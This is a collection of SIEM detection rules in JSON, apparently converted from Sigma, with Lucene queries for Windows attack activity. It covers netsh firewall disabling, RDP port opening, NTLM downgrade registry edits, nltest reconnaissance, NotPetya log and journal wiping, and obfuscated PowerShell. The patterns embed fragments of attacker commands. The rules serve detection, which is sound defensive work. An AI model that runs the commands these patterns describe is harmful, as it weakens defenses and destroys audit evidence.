{"description": "Detects NetNTLM downgrade attack", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b7815c26-e14b-392f-a34c-e8ae2659ec3c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "NetNTLM Downgrade Attack", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4657\" AND winlog.event_data.ObjectName:*\\\\REGISTRY\\\\MACHINE\\\\SYSTEM* AND winlog.event_data.ObjectName:*ControlSet* AND winlog.event_data.ObjectName:*\\\\Control\\\\Lsa* AND winlog.event_data.ObjectValueName:(\"LmCompatibilityLevel\" OR \"NtlmMinClientSec\" OR \"RestrictSendingNTLMTraffic\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1112", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}, {"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "wagga"], "license": ""}
{"description": "Detects Netsh commands that allows a suspcious application location on Windows Firewall", "enabled": false, "false_positives": ["Legitimate administration"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8a380433-72a0-8a15-0edc-208f6b6f5add", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Netsh Program Allowed with Suspcious Location", "query": "((process.executable:*\\\\netsh.exe AND process.command_line:*firewall* AND process.command_line:*add* AND (process.command_line:*allowedprogram* OR (process.command_line:*advfirewall* AND process.command_line:*rule* AND process.command_line:*action\\=allow* AND process.command_line:*program\\=*))) AND (process.command_line:(*%TEMP%* OR *\\:\\\\RECYCLER\\\\* OR *C\\:\\\\$Recycle.bin\\\\* OR *\\:\\\\SystemVolumeInformation\\\\* OR *C\\:\\\\Windows\\\\Temp\\\\* OR *C\\:\\\\Temp\\\\* OR *C\\:\\\\Users\\\\Public\\\\* OR *C\\:\\\\Users\\\\Default\\\\* OR *C\\:\\\\Users\\\\Desktop\\\\* OR *\\\\Downloads\\\\* OR *\\\\Temporary\\ Internet\\ Files\\\\Content.Outlook\\\\* OR *\\\\Local\\ Settings\\\\Temporary\\ Internet\\ Files\\\\*) OR process.command_line:(C\\:\\\\Windows\\\\Tasks\\\\* OR C\\:\\\\Windows\\\\debug\\\\* OR C\\:\\\\Windows\\\\fonts\\\\* OR C\\:\\\\Windows\\\\help\\\\* OR C\\:\\\\Windows\\\\drivers\\\\* OR C\\:\\\\Windows\\\\addins\\\\* OR C\\:\\\\Windows\\\\cursors\\\\* OR C\\:\\\\Windows\\\\system32\\\\tasks\\\\* OR %Public%\\\\*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Sander Wiebing", "Jonhnathan Ribeiro", "Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "Detects netsh commands that configure a port forwarding (PortProxy)", "enabled": false, "false_positives": ["Legitimate administration", "WSL2 network bridge PowerShell script used for WSL/Kubernetes/Docker (e.g. )"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c22360c9-047b-e6f0-da43-bd050973d760", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Netsh Port Forwarding", "query": "(process.executable.text:*\\\\netsh.exe AND ((process.command_line.text:*interface* AND process.command_line.text:*portproxy* AND process.command_line.text:*add* AND process.command_line.text:*v4tov4*) OR (process.command_line.text:*connectp* AND process.command_line.text:*listena* AND process.command_line.text:*c\\=*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "Lateral Movement", "T1090"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "omkar72", "oscd.community"], "license": ""}
{"description": "Detects netsh commands that configure a port forwarding of port 3389 used for RDP", "enabled": false, "false_positives": ["Legitimate administration"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "cfc1ca4b-9192-560f-7f44-11ba254afa16", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Netsh RDP Port Forwarding", "query": "(process.executable:*\\\\netsh.exe AND process.command_line:*i* AND process.command_line:*\\ p* AND process.command_line:*\\=3389* AND process.command_line:*\\ c*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Lateral Movement", "T1090"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "oscd.community"], "license": ""}
{"description": "Detects netsh commands that opens the port 3389 used for RDP, used in Sarwent Malware", "enabled": false, "false_positives": ["Legitimate administration"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "884bf03c-ea4a-11d2-f558-d0c79b9d6538", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Netsh RDP Port Opening", "query": "(process.command_line:*netsh* AND ((process.command_line:*firewall\\ add\\ portopening* AND process.command_line:*tcp\\ 3389*) OR (process.command_line:*advfirewall\\ firewall\\ add\\ rule* AND process.command_line:*action\\=allow* AND process.command_line:*protocol\\=TCP* AND process.command_line:*localport\\=3389*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Sander Wiebing"], "license": ""}
{"description": "Detects netsh commands that turns off the Windows firewall", "enabled": false, "false_positives": ["Legitimate administration"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4ff3b71d-1329-ac8b-368a-e150618c51e5", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Firewall Disabled via Netsh", "query": "(process.command_line:*netsh* AND process.command_line:*set* AND ((process.command_line:*firewall* AND process.command_line:*opmode* AND process.command_line:*mode\\=disable*) OR (process.command_line:*advfirewall* AND process.command_line:*state* AND process.command_line:*off*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Fatih Sirin"], "license": ""}
{"description": "Detects NetSupport Manager service installation on the target system.", "enabled": false, "false_positives": ["Legitimate use of the tool"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fdae8bf9-5853-63b8-30fb-fb5e37060610", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "NetSupport Manager Service Install", "query": "(winlog.channel:\"System\" AND (Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\") AND (winlog.event_data.ImagePath:*\\\\NetSupport\\ Manager\\\\client32.exe* OR winlog.event_data.ServiceName:\"Client32\"))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects network connections and DNS queries initiated by Regsvr32.exe", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0ed94acb-a11e-babf-4b08-526fba2914ba", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Regsvr32 Network Activity", "query": "process.executable.text:*\\\\regsvr32.exe", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218", "T1559"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1559", "name": "Inter-Process Communication", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Dmitriy Lifanov", "oscd.community"], "license": ""}
{"description": "Detects network connections and DNS queries initiated by Regsvr32.exe", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0ed94acb-a11e-babf-4b08-526fba2914ba", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Regsvr32 Network Activity", "query": "process.executable.text:*\\\\regsvr32.exe", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218", "T1559"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1559", "name": "Inter-Process Communication", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Dmitriy Lifanov", "oscd.community"], "license": ""}
{"description": "Detects network connections from Equation Editor", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5557a401-1e35-4ca7-62b0-98048385f024", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Equation Editor Network Connection", "query": "process.executable:*\\\\eqnedt32.exe", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1203"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1203", "name": "Exploitation for Client Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Max Altgelt"], "license": ""}
{"description": "Detects network enumeration performed on AWS.", "author": ["Janantha Marasinghe"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "5c610241-c0ac-e57a-41f9-8a084740ffe8", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Potential Network Enumeration on AWS", "query": "(eventSource:\"ec2.amazonaws.com\" AND eventName:(\"DescribeCarrierGateways\" OR \"DescribeVpcEndpointConnectionNotifications\" OR \"DescribeTransitGatewayMulticastDomains\" OR \"DescribeClientVpnRoutes\" OR \"DescribeDhcpOptions\" OR \"GetTransitGatewayRouteTableAssociations\"))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1016"], "to": "now", "type": "threshold", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1016", "name": "System Network Configuration Discovery", "reference": ""}]}], "version": 1, "threshold": {"field": [], "value": 6}, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects new commands that add new printer port which point to suspicious file", "enabled": false, "false_positives": ["New printer port install on host"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5206589f-7d23-e517-aff1-abaaf9fc54aa", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious PrinterPorts Creation (CVE-2020-1048)", "query": "((process.command_line:*Add\\-PrinterPort\\ \\-Name* AND process.command_line:(*.exe* OR *.dll* OR *.bat*)) OR process.command_line:*Generic\\ \\/\\ Text\\ Only*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["EagleEye Team", "Florian Roth"], "license": ""}
{"description": "Detects new registry key created by Ursnif malware.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "40b5ace1-f787-73d7-4cc8-c86614d097fa", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Ursnif", "query": "((winlog.event_data.EventType:\"CreateKey\" AND winlog.event_data.TargetObject:*\\\\Software\\\\AppDataLow\\\\Software\\\\Microsoft\\\\*) AND (NOT (winlog.event_data.TargetObject:(*\\\\SOFTWARE\\\\AppDataLow\\\\Software\\\\Microsoft\\\\Internet\\ Explorer\\\\* OR *\\\\SOFTWARE\\\\AppDataLow\\\\Software\\\\Microsoft\\\\RepService\\\\* OR *\\\\SOFTWARE\\\\AppDataLow\\\\Software\\\\Microsoft\\\\IME\\\\* OR *\\\\SOFTWARE\\\\AppDataLow\\\\Software\\\\Microsoft\\\\Edge\\\\*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1112"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["megan201296"], "license": ""}
{"description": "Detects nltest commands that can be used for information discovery", "enabled": false, "false_positives": ["Legitimate administration use but user must be check out"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e73cb799-d89e-da10-5c9f-d173232b0181", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Recon Activity with NLTEST", "query": "((process.executable.text:*\\\\nltest.exe OR winlog.event_data.OriginalFileName:\"nltestrk.exe\") AND ((process.command_line.text:*\\/server* AND process.command_line.text:*\\/query*) OR process.command_line.text:(*\\/dclist\\:* OR *\\/parentdomain* OR *\\/domain_trusts* OR *\\/trusted_domains* OR *\\/user*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1016", "T1482"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1016", "name": "System Network Configuration Discovery", "reference": ""}, {"id": "T1482", "name": "Domain Trust Discovery", "reference": ""}]}], "version": 1, "references": ["(v=ws.11)", "", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Craig Young", "oscd.community", "Georg Lauenstein"], "license": ""}
{"description": "Detects non wmiprvse loading WMI modules", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7af4124a-921e-ba12-3ae4-fed3f91102fe", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "WMI Modules Loaded", "query": "((file.path:(*\\\\wmiclnt.dll OR *\\\\WmiApRpl.dll OR *\\\\wmiprov.dll OR *\\\\wmiutils.dll OR *\\\\wbemcomn.dll OR *\\\\wbemprox.dll OR *\\\\WMINet_Utils.dll OR *\\\\wbemsvc.dll OR *\\\\fastprox.dll) AND (NOT (process.executable:(*\\\\WmiPrvSE.exe OR *\\\\WmiApSrv.exe OR *\\\\svchost.exe OR *\\\\DeviceCensus.exe OR *\\\\CompatTelRunner.exe OR *\\\\sdiagnhost.exe OR *\\\\SIHClient.exe OR *\\\\ngentask.exe OR *\\\\windows\\\\system32\\\\taskhostw.exe OR *\\\\windows\\\\system32\\\\MoUsoCoreWorker.exe OR *\\\\windows\\\\system32\\\\wbem\\\\WMIADAP.exe OR *C\\:\\\\Windows\\\\Sysmon64.exe OR *C\\:\\\\Windows\\\\Sysmon.exe OR *C\\:\\\\Windows\\\\System32\\\\wbem\\\\unsecapp.exe OR *\\\\logman.exe OR *\\\\systeminfo.exe OR *\\\\nvcontainer.exe OR *C\\:\\\\Windows\\\\System32\\\\wbem\\\\WMIC.exe OR *\\\\explorer.exe OR *\\\\opera_autoupdate.exe OR *\\\\MsMpEng.exe OR *\\\\thor64.exe OR *\\\\thor.exe)))) AND (NOT (process.executable:(C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\*))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1047"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez @Cyb3rWard0g"], "license": ""}
{"description": "Detects non-interactive PowerShell activity by looking at powershell.exe with not explorer.exe as a parent.", "enabled": false, "false_positives": ["Legitimate programs executing PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a94ba2e5-d6d5-e062-13e4-f77fbebc7768", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Non Interactive PowerShell", "query": "(process.executable.text:*\\\\powershell.exe AND (NOT ((process.parent.executable.text:(*\\\\explorer.exe OR *\\\\CompatTelRunner.exe) OR process.parent.executable.text:\"C\\:\\\\$WINDOWS.\\~BT\\\\Sources\\\\SetupHost.exe\"))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez @Cyb3rWard0g (rule)", "oscd.community (improvements)"], "license": ""}
{"description": "Detects Non-Standard Tools Connecting to TCP port 3389 indicating possible lateral movement", "enabled": false, "false_positives": ["Other Remote Desktop RDP tools", "Domain controller using dns.exe"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9fb79eb7-f00b-07a0-c832-f5a008822ffb", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Outbound RDP Connections", "query": "((destination.port:\"3389\" AND winlog.event_data.Initiated:\"true\") AND (NOT (process.executable:(*\\\\mstsc.exe OR *\\\\RTSApp.exe OR *\\\\RTS2App.exe OR *\\\\RDCMan.exe OR *\\\\ws_TunnelService.exe OR *\\\\RSSensor.exe OR *\\\\RemoteDesktopManagerFree.exe OR *\\\\RemoteDesktopManager.exe OR *\\\\RemoteDesktopManager64.exe OR *\\\\mRemoteNG.exe OR *\\\\mRemote.exe OR *\\\\Terminals.exe OR *\\\\spiceworks\\-finder.exe OR *\\\\FSDiscovery.exe OR *\\\\FSAssessment.exe OR *\\\\MobaRTE.exe OR *\\\\chrome.exe OR *\\\\System32\\\\dns.exe OR *\\\\thor.exe OR *\\\\thor64.exe OR *\\\\Passwordstate.exe OR *\\\\Avast\\ Software\\\\Avast\\\\AvastSvc.exe OR *\\\\Ranger\\\\SentinelRanger.exe OR *\\\\Avast\\\\AvastSvc.exe) OR process.executable:C\\:\\\\Program\\ Files\\\\SplunkUniversalForwarder\\\\bin\\\\*)))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Markus Neis - Swisscom"], "license": ""}
{"description": "Detects non-system users failing to get a handle of the SCM database.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5a688d19-4150-083e-a709-d6cdc2748e29", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "SCM Database Handle Failure", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:\"4656\" AND winlog.event_data.ObjectType:\"SC_MANAGER\\ OBJECT\" AND winlog.event_data.ObjectName:\"ServicesActive\" AND winlog.event_data.AccessMask:\"0xf003f\") AND (NOT (SubjectLogonId:\"0x3e4\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1010"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1010", "name": "Application Window Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez @Cyb3rWard0g"], "license": ""}
{"description": "Detects non-system users performing privileged operation os the SCM database", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e924dd5f-c8ad-61e1-7749-63a7db4c0e30", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "SCM Database Privileged Operation", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:\"4674\" AND winlog.event_data.ObjectType:\"SC_MANAGER\\ OBJECT\" AND winlog.event_data.ObjectName:\"servicesactive\" AND winlog.event_data.PrivilegeList:\"SeTakeOwnershipPrivilege\") AND (NOT (SubjectLogonId:\"0x3e4\" AND winlog.event_data.ProcessName:*\\:\\\\Windows\\\\System32\\\\services.exe)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez @Cyb3rWard0g", "Tim Shelton"], "license": ""}
{"description": "Detects NotPetya ransomware activity in which the extracted passwords are passed back to the main module via named pipe, the file system journal of drive C is deleted and windows eventlogs are cleared using wevtutil", "author": ["Florian Roth", "Tom Ueltschi"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6a0b3240-74da-87ce-79ae-6195bdf77f59", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "NotPetya Ransomware Activity", "query": "((process.command_line.text:(*wevtutil\\ cl\\ Application\\ &\\ fsutil\\ usn\\ deletejournal\\ \\/D\\ C\\:* OR *dllhost.dat\\ %WINDIR%\\\\ransoms*)) OR ((process.executable.text:*\\\\rundll32.exe AND process.command_line.text:(*.dat,#1 OR *.dat\\ #1 OR *.zip.dll\\\",#1))) OR (\"\\perfc.dat\"))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "Defense Evasion", "T1003", "T1070", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}, {"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}, {"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", "author": ["Timur Zinniatullin", "oscd.community"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "548de027-8b27-5515-6195-1128bc30397a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Invoke-Obfuscation COMPRESS OBFUSCATION", "query": "(process.command_line.text:*new\\-object* AND process.command_line.text:*text.encoding\\]\\:\\:ascii* AND process.command_line.text:(*system.io.compression.deflatestream* OR *system.io.streamreader* OR *readtoend\\(*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "548de027-8b27-5515-6195-1128bc30397a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Invoke-Obfuscation COMPRESS OBFUSCATION", "query": "(((powershell.command.invocation_details:*new\\-object* OR winlog.event_data.Payload:*new\\-object*) AND (powershell.command.invocation_details:*text.encoding\\]\\:\\:ascii* OR winlog.event_data.Payload:*text.encoding\\]\\:\\:ascii*)) AND (powershell.command.invocation_details:(*system.io.compression.deflatestream* OR *system.io.streamreader*) OR winlog.event_data.Payload:(*system.io.compression.deflatestream* OR *system.io.streamreader*)) AND (powershell.command.invocation_details:*readtoend OR winlog.event_data.Payload:*readtoend))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Timur Zinniatullin", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "548de027-8b27-5515-6195-1128bc30397a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Invoke-Obfuscation COMPRESS OBFUSCATION", "query": "(powershell.file.script_block_text:*new\\-object* AND powershell.file.script_block_text:*text.encoding\\]\\:\\:ascii* AND powershell.file.script_block_text:(*system.io.compression.deflatestream* OR *system.io.streamreader*) AND powershell.file.script_block_text:*readtoend)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Timur Zinniatullin", "oscd.community"], "license": ""}
{"description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "548de027-8b27-5515-6195-1128bc30397a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Invoke-Obfuscation COMPRESS OBFUSCATION", "query": "(winlog.channel:\"System\" AND Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\" AND winlog.event_data.ImagePath:*new\\-object* AND winlog.event_data.ImagePath:*text.encoding\\]\\:\\:ascii* AND winlog.event_data.ImagePath:*readtoend* AND winlog.event_data.ImagePath:(*\\:system.io.compression.deflatestream* OR *system.io.streamreader*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Timur Zinniatullin", "oscd.community"], "license": ""}
